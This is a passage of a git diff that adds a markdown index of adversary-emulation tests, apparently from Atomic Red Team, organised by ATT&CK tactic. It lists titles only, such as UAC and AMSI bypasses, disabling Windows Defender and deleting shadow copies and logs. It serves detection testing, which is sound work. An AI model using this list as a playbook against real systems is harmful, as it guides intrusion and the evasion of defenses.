Pointer URLs via command_prompt +command-and-control,T1102,2,Reach out to C2 Pointer URLs via powershell +initial-access,T1193,1,Download Phishing Attachment - VBScript diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md new file mode 100644 index 00000000..bc14e541 --- /dev/null +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -0,0 +1,1020 @@ +# All Atomic Tests by ATT&CK Tactic & Technique +# persistence +- [T1156 .bash_profile and .bashrc](./T1156/T1156.md) + - Atomic Test #1: Add command to .bash_profile [macos, linux] + - Atomic Test #2: Add command to .bashrc [macos, linux] +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt as a Debugger to a List of Target Processes [windows] +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1103 AppInit DLLs](./T1103/T1103.md) + - Atomic Test #1: Install AppInit Shim [windows] +- [T1138 Application Shimming](./T1138/T1138.md) + - Atomic Test #1: Application Shim Installation [windows] + - Atomic Test #2: New shim database files created in the default shim database directory [windows] + - Atomic Test #3: Registry key creation and/or modification events for SDB [windows] +- T1131 Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1197 BITS Jobs](./T1197/T1197.md) + - Atomic Test #1: Bitsadmin Download (cmd) [windows] + - Atomic Test #2: Bitsadmin Download (PowerShell) [windows] + - Atomic Test #3: Persist, Download, & Execute [windows] +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1176 Browser Extensions](./T1176/T1176.md) + - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] + - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] + - Atomic Test #3: Firefox [linux, windows, macos] +- [T1042 Change Default File Association](./T1042/T1042.md) + - Atomic Test #1: Change Default File Association [windows] +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1122 Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1136 Create Account](./T1136/T1136.md) + - Atomic Test #1: Create a user account on a Linux system [linux] + - Atomic Test #2: Create a user account on a MacOS system [macos] + - Atomic Test #3: Create a new user in a command prompt [windows] + - Atomic Test #4: Create a new user in PowerShell [windows] + - Atomic Test #5: Create a new user in Linux with `root` UID and GID. [linux] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1519 Emond](./T1519/T1519.md) + - Atomic Test #1: Persistance with Event Monitor - emond [macos] +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1044 File System Permissions Weakness](./T1044/T1044.md) + - Atomic Test #1: File System Permissions Weakness [windows] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] + - Atomic Test #2: Mac Hidden file [macos] + - Atomic Test #3: Create Windows System File with Attrib [windows] + - Atomic Test #4: Create Windows Hidden File with Attrib [windows] + - Atomic Test #5: Hidden files [macos] + - Atomic Test #6: Hide a Directory [macos] + - Atomic Test #7: Show all hidden files [macos] + - Atomic Test #8: Create ADS command prompt [windows] + - Atomic Test #9: Create ADS PowerShell [windows] +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1062 Hypervisor](./T1062/T1062.md) + - Atomic Test #1: Installing Hyper-V Feature [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- T1525 Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1215 Kernel Modules and Extensions](./T1215/T1215.md) + - Atomic Test #1: Linux - Load Kernel Module via insmod [linux] +- T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1159 Launch Agent](./T1159/T1159.md) + - Atomic Test #1: Launch Agent [macos] +- [T1160 Launch Daemon](./T1160/T1160.md) + - Atomic Test #1: Launch Daemon [macos] +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- T1162 Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #1: Logon Scripts [windows] + - Atomic Test #2: Scheduled Task Startup Script [windows] + - Atomic Test #3: Logon Scripts - Mac [macos] + - Atomic Test #4: Supicious vbs file run from startup Folder [windows] + - Atomic Test #5: Supicious jse file run from startup Folder [windows] + - Atomic Test #6: Supicious bat file run from startup Folder [windows] +- [T1031 Modify Existing Service](./T1031/T1031.md) + - Atomic Test #1: Modify Fax service to run PowerShell [windows] +- [T1128 Netsh Helper DLL](./T1128/T1128.md) + - Atomic Test #1: Netsh Helper DLL Registration [windows] +- [T1050 New Service](./T1050/T1050.md) + - Atomic Test #1: Service Installation [windows] + - Atomic Test #2: Service Installation PowerShell [windows] +- [T1137 Office Application Startup](./T1137/T1137.md) + - Atomic Test #1: DDEAUTO [windows] +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1504 PowerShell Profile](./T1504/T1504.md) + - Atomic Test #1: Append malicious start-process cmdlet [windows] +- [T1163 Rc.common](./T1163/T1163.md) + - Atomic Test #1: rc.common [macos] +- [T1164 Re-opened Applications](./T1164/T1164.md) + - Atomic Test #1: Re-Opened Applications [macos] + - Atomic Test #2: Re-Opened Applications [macos] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1060 Registry Run Keys / Startup Folder](./T1060/T1060.md) + - Atomic Test #1: Reg Key Run [windows] + - Atomic Test #2: Reg Key RunOnce [windows] + - Atomic Test #3: PowerShell Registry RunOnce [windows] +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1180 Screensaver](./T1180/T1180.md) + - Atomic Test #1: Set Arbitrary Binary as Screensaver [windows] +- [T1101 Security Support Provider](./T1101/T1101.md) + - Atomic Test #1: Modify SSP configuration in registry [windows] +- [T1505 Server Software Component](./T1505/T1505.md) + - Atomic Test #1: Install MS Exchange Transport Agent Persistence [windows] +- [T1058 Service Registry Permissions Weakness](./T1058/T1058.md) + - Atomic Test #1: Service Registry Permissions Weakness [windows] +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1023 Shortcut Modification](./T1023/T1023.md) + - Atomic Test #1: Shortcut Modification [windows] + - Atomic Test #2: Create shortcut to cmd in startup folders [windows] +- [T1165 Startup Items](./T1165/T1165.md) + - Atomic Test #1: add file to Local Library StartupItems [macos] +- T1019 System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1501 Systemd Service](./T1501/T1501.md) + - Atomic Test #1: Create Systemd Service [linux] +- T1209 Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + - Atomic Test #1: Web Shell Written to Disk [windows] +- [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) + - Atomic Test #1: Persistence [windows] +- [T1004 Winlogon Helper DLL](./T1004/T1004.md) + - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows] + - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows] + - Atomic Test #3: Winlogon Notify Key Logon Persistence - PowerShell [windows] + +# defense-evasion +- T1134 Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1197 BITS Jobs](./T1197/T1197.md) + - Atomic Test #1: Bitsadmin Download (cmd) [windows] + - Atomic Test #2: Bitsadmin Download (PowerShell) [windows] + - Atomic Test #3: Persist, Download, & Execute [windows] +- [T1009 Binary Padding](./T1009/T1009.md) + - Atomic Test #1: Pad Binary to Change Hash - Linux/macOS dd [macos, linux] +- [T1088 Bypass User Account Control](./T1088/T1088.md) + - Atomic Test #1: Bypass UAC using Event Viewer (cmd) [windows] + - Atomic Test #2: Bypass UAC using Event Viewer (PowerShell) [windows] + - Atomic Test #3: Bypass UAC using Fodhelper [windows] + - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] + - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] + - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] +- [T1191 CMSTP](./T1191/T1191.md) + - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] + - Atomic Test #2: CMSTP Executing UAC Bypass [windows] +- [T1146 Clear Command History](./T1146/T1146.md) + - Atomic Test #1: Clear Bash history (rm) [linux, macos] + - Atomic Test #2: Clear Bash history (echo) [linux, macos] + - Atomic Test #3: Clear Bash history (cat dev/null) [linux, macos] + - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] + - Atomic Test #5: Clear Bash history (truncate) [linux] + - Atomic Test #6: Clear history of a bunch of shells [linux, macos] +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1500 Compile After Delivery](./T1500/T1500.md) + - Atomic Test #1: Compile After Delivery using csc.exe [windows] +- [T1223 Compiled HTML File](./T1223/T1223.md) + - Atomic Test #1: Compiled HTML Help Local Payload [windows] + - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1122 Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] + - Atomic Test #2: portproxy reg key [windows] +- [T1196 Control Panel Items](./T1196/T1196.md) + - Atomic Test #1: Control Panel Items [windows] +- [T1207 DCShadow](./T1207/T1207.md) + - Atomic Test #1: DCShadow - Mimikatz [windows] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- [T1073 DLL Side-Loading](./T1073/T1073.md) + - Atomic Test #1: DLL Side-Loading using the Notepad++ GUP.exe binary [windows] +- [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) + - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] + - Atomic Test #2: Certutil Rename and Decode [windows] +- [T1089 Disabling Security Tools](./T1089/T1089.md) + - Atomic Test #1: Disable iptables firewall [linux] + - Atomic Test #2: Disable syslog [linux] + - Atomic Test #3: Disable Cb Response [linux] + - Atomic Test #4: Disable SELinux [linux] + - Atomic Test #5: Disable Carbon Black Response [macos] + - Atomic Test #6: Disable LittleSnitch [macos] + - Atomic Test #7: Disable OpenDNS Umbrella [macos] + - Atomic Test #8: Unload Sysmon Filter Driver [windows] + - Atomic Test #9: Disable Windows IIS HTTP Logging [windows] + - Atomic Test #10: Uninstall Sysmon [windows] + - Atomic Test #11: AMSI Bypass - AMSI InitFailed [windows] + - Atomic Test #12: AMSI Bypass - Remove AMSI Provider Reg Key [windows] + - Atomic Test #13: Disable Arbitrary Security Windows Service [windows] + - Atomic Test #14: Disable PowerShell Script Block Logging [windows] + - Atomic Test #15: PowerShell Bypass of AntiMalware Scripting Interface [windows] + - Atomic Test #16: Tamper with Windows Defender ATP PowerShell [windows] + - Atomic Test #17: Tamper with Windows Defender Command Prompt [windows] + - Atomic Test #18: Tamper with Windows Defender Registry [windows] + - Atomic Test #19: Disable Microft Office Security Features [windows] + - Atomic Test #20: Remove Windows Defender Definition Files [windows] +- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1107 File Deletion](./T1107/T1107.md) + - Atomic Test #1: Delete a single file - Linux/macOS [linux, macos] + - Atomic Test #2: Delete an entire folder - Linux/macOS [linux, macos] + - Atomic Test #3: Overwrite and delete a file with shred [linux] + - Atomic Test #4: Delete a single file - Windows cmd [windows] + - Atomic Test #5: Delete an entire folder - Windows cmd [windows] + - Atomic Test #6: Delete a single file - Windows PowerShell [windows] + - Atomic Test #7: Delete an entire folder - Windows PowerShell [windows] + - Atomic Test #8: Delete VSS - vssadmin [windows] + - Atomic Test #9: Delete VSS - wmic [windows] + - Atomic Test #10: bcdedit [windows] + - Atomic Test #11: wbadmin [windows] + - Atomic Test #12: Delete Filesystem - Linux [linux] + - Atomic Test #13: Delete-PrefetchFile [windows] + - Atomic Test #14: Delete TeamViewer Log Files [windows, macos] +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) + - Atomic Test #1: Take ownership using takeown utility [windows] + - Atomic Test #2: Take ownership recursively using takeown utility [windows] + - Atomic Test #3: cacls - Grant permission to specified user or group [windows] + - Atomic Test #4: cacls - Grant permission to specified user or group recursively [windows] + - Atomic Test #5: icacls - Grant permission to specified user or group [windows] + - Atomic Test #6: icacls - Grant permission to specified user or group recursively [windows] + - Atomic Test #7: attrib - Remove read-only attribute [windows] + - Atomic Test #8: chmod - Change file or folder mode (numeric mode) [macos, linux] + - Atomic Test #9: chmod - Change file or folder mode (symbolic mode) [macos, linux] + - Atomic Test #10: chmod - Change file or folder mode (numeric mode) recursively [macos, linux] + - Atomic Test #11: chmod - Change file or folder mode (symbolic mode) recursively [macos, linux] + - Atomic Test #12: chown - Change file or folder ownership and group [macos, linux] + - Atomic Test #13: chown - Change file or folder ownership and group recursively [macos, linux] + - Atomic Test #14: chown - Change file or folder mode ownership only [macos, linux] + - Atomic Test #15: chown - Change file or folder ownership recursively [macos, linux] + - Atomic Test #16: chattr - Remove immutable file attribute [macos, linux] +- [T1144 Gatekeeper Bypass](./T1144/T1144.md) + - Atomic Test #1: Gatekeeper Bypass [macos] +- T1484 Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] + - Atomic Test #2: Mac Hidden file [macos] + - Atomic Test #3: Create Windows System File with Attrib [windows] + - Atomic Test #4: Create Windows Hidden File with Attrib [windows] + - Atomic Test #5: Hidden files [macos] + - Atomic Test #6: Hide a Directory [macos] + - Atomic Test #7: Show all hidden files [macos] + - Atomic Test #8: Create ADS command prompt [windows] + - Atomic Test #9: Create ADS PowerShell [windows] +- [T1147 Hidden Users](./T1147/T1147.md) + - Atomic Test #1: Hidden Users [macos] +- [T1143 Hidden Window](./T1143/T1143.md) + - Atomic Test #1: Hidden Window [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- T1054 Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1070 Indicator Removal on Host](./T1070/T1070.md) + - Atomic Test #1: Clear Logs [windows] + - Atomic Test #2: FSUtil [windows] + - Atomic Test #3: rm -rf [macos, linux] + - Atomic Test #4: Overwrite Linux Mail Spool [linux] + - Atomic Test #5: Overwrite Linux Log [linux] + - Atomic Test #6: Delete System Logs Using PowerShell [windows] + - Atomic Test #7: Delete System Logs Using Clear-EventLogId [windows] +- [T1202 Indirect Command Execution](./T1202/T1202.md) + - Atomic Test #1: Indirect Command Execution - pcalua.exe [windows] + - Atomic Test #2: Indirect Command Execution - forfiles.exe [windows] +- [T1130 Install Root Certificate](./T1130/T1130.md) + - Atomic Test #1: Install root CA on CentOS/RHEL [linux] +- [T1118 InstallUtil](./T1118/T1118.md) + - Atomic Test #1: CheckIfInstallable method call [windows] + - Atomic Test #2: InstallHelper method call [windows] + - Atomic Test #3: InstallUtil class constructor method call [windows] + - Atomic Test #4: InstallUtil Install method call [windows] + - Atomic Test #5: InstallUtil Uninstall method call - /U variant [windows] + - Atomic Test #6: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant [windows] + - Atomic Test #7: InstallUtil HelpText method call [windows] + - Atomic Test #8: InstallUtil evasive invocation [windows] +- T1149 LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1036 Masquerading](./T1036/T1036.md) + - Atomic Test #1: Masquerading as Windows LSASS process [windows] + - Atomic Test #2: Masquerading as Linux crond process. [linux] + - Atomic Test #3: Masquerading - cscript.exe running as notepad.exe [windows] + - Atomic Test #4: Masquerading - wscript.exe running as svchost.exe [windows] + - Atomic Test #5: Masquerading - powershell.exe running as taskhostw.exe [windows] + - Atomic Test #6: Masquerading - non-windows exe running as windows exe [windows] + - Atomic Test #7: Masquerading - windows exe running as different windows exe [windows] + - Atomic Test #8: Malicious process Masquerading as LSM.exe [windows] +- [T1112 Modify Registry](./T1112/T1112.md) + - Atomic Test #1: Modify Registry of Current User Profile - cmd [windows] + - Atomic Test #2: Modify Registry of Local Machine - cmd [windows] + - Atomic Test #3: Modify Registry of Another User Profile [windows] + - Atomic Test #4: Modify registry to store logon credentials [windows] + - Atomic Test #5: Modify registry to store PowerShell code [windows] + - Atomic Test #6: Add domain to Trusted sites Zone [windows] + - Atomic Test #7: Javascript in registry [windows] +- [T1170 Mshta](./T1170/T1170.md) + - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] + - Atomic Test #2: Mshta calls a local VBScript file to launch notepad.exe [windows] + - Atomic Test #3: Mshta executes VBScript to execute malicious command [windows] + - Atomic Test #4: Mshta Executes Remote HTML Application (HTA) [windows] +- [T1096 NTFS File Attributes](./T1096/T1096.md) + - Atomic Test #1: Alternate Data Streams (ADS) [windows] + - Atomic Test #2: Store file in Alternate Data Stream (ADS) [windows] +- [T1126 Network Share Connection Removal](./T1126/T1126.md) + - Atomic Test #1: Add Network Share [windows] + - Atomic Test #2: Remove Network Share [windows] + - Atomic Test #3: Remove Network Share PowerShell [windows] +- [T1027 Obfuscated Files or Information](./T1027/T1027.md) + - Atomic Test #1: Decode base64 Data into Script [macos, linux] + - Atomic Test #2: Execute base64-encoded PowerShell [windows] + - Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry [windows] +- [T1502 Parent PID Spoofing](./T1502/T1502.md) + - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1093 Process Hollowing](./T1093/T1093.md) + - Atomic Test #1: Process Hollowing using PowerShell [windows] +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #1: Process Injection via mavinject.exe [windows] + - Atomic Test #2: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #3: Shared Library Injection via LD_PRELOAD [linux] + - Atomic Test #4: Process Injection via C# [windows] + - Atomic Test #5: svchost writing a file to a UNC path [windows] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1121 Regsvcs/Regasm](./T1121/T1121.md) + - Atomic Test #1: Regasm Uninstall Method Call Test [windows] + - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] +- [T1117 Regsvr32](./T1117/T1117.md) + - Atomic Test #1: Regsvr32 local COM scriptlet execution [windows] + - Atomic Test #2: Regsvr32 remote COM scriptlet execution [windows] + - Atomic Test #3: Regsvr32 local DLL execution [windows] +- T1536 Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1014 Rootkit](./T1014/T1014.md) + - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] + - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] + - Atomic Test #3: Windows Signed Driver Rootkit Test [windows] +- [T1085 Rundll32](./T1085/T1085.md) + - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] + - Atomic Test #2: Rundll32 execute VBscript command [windows] + - Atomic Test #3: Rundll32 advpack.dll Execution [windows] + - Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows] + - Atomic Test #5: Rundll32 syssetup.dll Execution [windows] + - Atomic Test #6: Rundll32 setupapi.dll Execution [windows] +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] + - Atomic Test #2: Create and Execute Batch Script [windows] +- [T1218 Signed Binary Proxy Execution](./T1218/T1218.md) + - Atomic Test #1: mavinject - Inject DLL into running process [windows] + - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] + - Atomic Test #3: Register-CimProvider - Execute evil dll [windows] + - Atomic Test #4: Msiexec.exe - Execute Local MSI file [windows] + - Atomic Test #5: Msiexec.exe - Execute Remote MSI file [windows] + - Atomic Test #6: Msiexec.exe - Execute Arbitrary DLL [windows] + - Atomic Test #7: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #8: InfDefaultInstall.exe .inf Execution [windows] +- [T1216 Signed Script Proxy Execution](./T1216/T1216.md) + - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] + - Atomic Test #2: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] + - Atomic Test #3: manage-bde.wsf Signed Script Command Execution [windows] +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1151 Space after Filename](./T1151/T1151.md) + - Atomic Test #1: Space After Filename [macos] +- T1221 Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1099 Timestomp](./T1099/T1099.md) + - Atomic Test #1: Set a file's access timestamp [linux, macos] + - Atomic Test #2: Set a file's modification timestamp [linux, macos] + - Atomic Test #3: Set a file's creation timestamp [linux, macos] + - Atomic Test #4: Modify file timestamps using reference file [linux, macos] + - Atomic Test #5: Windows - Modify file creation timestamp with PowerShell [windows] + - Atomic Test #6: Windows - Modify file last modified timestamp with PowerShell [windows] + - Atomic Test #7: Windows - Modify file last access timestamp with PowerShell [windows] +- [T1127 Trusted Developer Utilities](./T1127/T1127.md) + - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] +- T1535 Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1102 Web Service](./T1102/T1102.md) + - Atomic Test #1: Reach out to C2 Pointer URLs via command_prompt [windows] + - Atomic Test #2: Reach out to C2 Pointer URLs via powershell [windows] +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1220 XSL Script Processing](./T1220/T1220.md) + - Atomic Test #1: MSXSL Bypass using local files [windows] + - Atomic Test #2: MSXSL Bypass using remote files [windows] + - Atomic Test #3: WMIC bypass using local XSL file [windows] + - Atomic Test #4: WMIC bypass using remote XSL file [windows] + +# privilege-escalation +- T1134 Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt as a Debugger to a List of Target Processes [windows] +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1103 AppInit DLLs](./T1103/T1103.md) + - Atomic Test #1: Install AppInit Shim [windows] +- [T1138 Application Shimming](./T1138/T1138.md) + - Atomic Test #1: Application Shim Installation [windows] + - Atomic Test #2: New shim database files created in the default shim database directory [windows] + - Atomic Test #3: Registry key creation and/or modification events for SDB [windows] +- [T1088 Bypass User Account Control](./T1088/T1088.md) + - Atomic Test #1: Bypass UAC using Event Viewer (cmd) [windows] + - Atomic Test #2: Bypass UAC using Event Viewer (PowerShell) [windows] + - Atomic Test #3: Bypass UAC using Fodhelper [windows] + - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] + - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] + - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1514 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1519 Emond](./T1519/T1519.md) + - Atomic Test #1: Persistance with Event Monitor - emond [macos] +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1044 File System Permissions Weakness](./T1044/T1044.md) + - Atomic Test #1: File System Permissions Weakness [windows] +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- [T1160 Launch Daemon](./T1160/T1160.md) + - Atomic Test #1: Launch Daemon [macos] +- [T1050 New Service](./T1050/T1050.md) + - Atomic Test #1: Service Installation [windows] + - Atomic Test #2: Service Installation PowerShell [windows] +- [T1502 Parent PID Spoofing](./T1502/T1502.md) + - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1504 PowerShell Profile](./T1504/T1504.md) + - Atomic Test #1: Append malicious start-process cmdlet [windows] +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #1: Process Injection via mavinject.exe [windows] + - Atomic Test #2: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #3: Shared Library Injection via LD_PRELOAD [linux] + - Atomic Test #4: Process Injection via C# [windows] + - Atomic Test #5: svchost writing a file to a UNC path [windows] +- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1058 Service Registry Permissions Weakness](./T1058/T1058.md) + - Atomic Test #1: Service Registry Permissions Weakness [windows] +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1165 Startup Items](./T1165/T1165.md) + - Atomic Test #1: add file to Local Library StartupItems [macos] +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] +- [T1206 Sudo Caching](./T1206/T1206.md) + - Atomic Test #1: Unlimited sudo cache timeout [macos, linux] + - Atomic Test #2: Disable tty_tickets for sudo caching [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + - Atomic Test #1: Web Shell Written to Disk [windows] + +# impact +- [T1531 Account Access Removal](./T1531/T1531.md) + - Atomic Test #1: Change User Password - Windows [windows] + - Atomic Test #2: Delete User - Windows [windows] +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #3: Windows - Disable 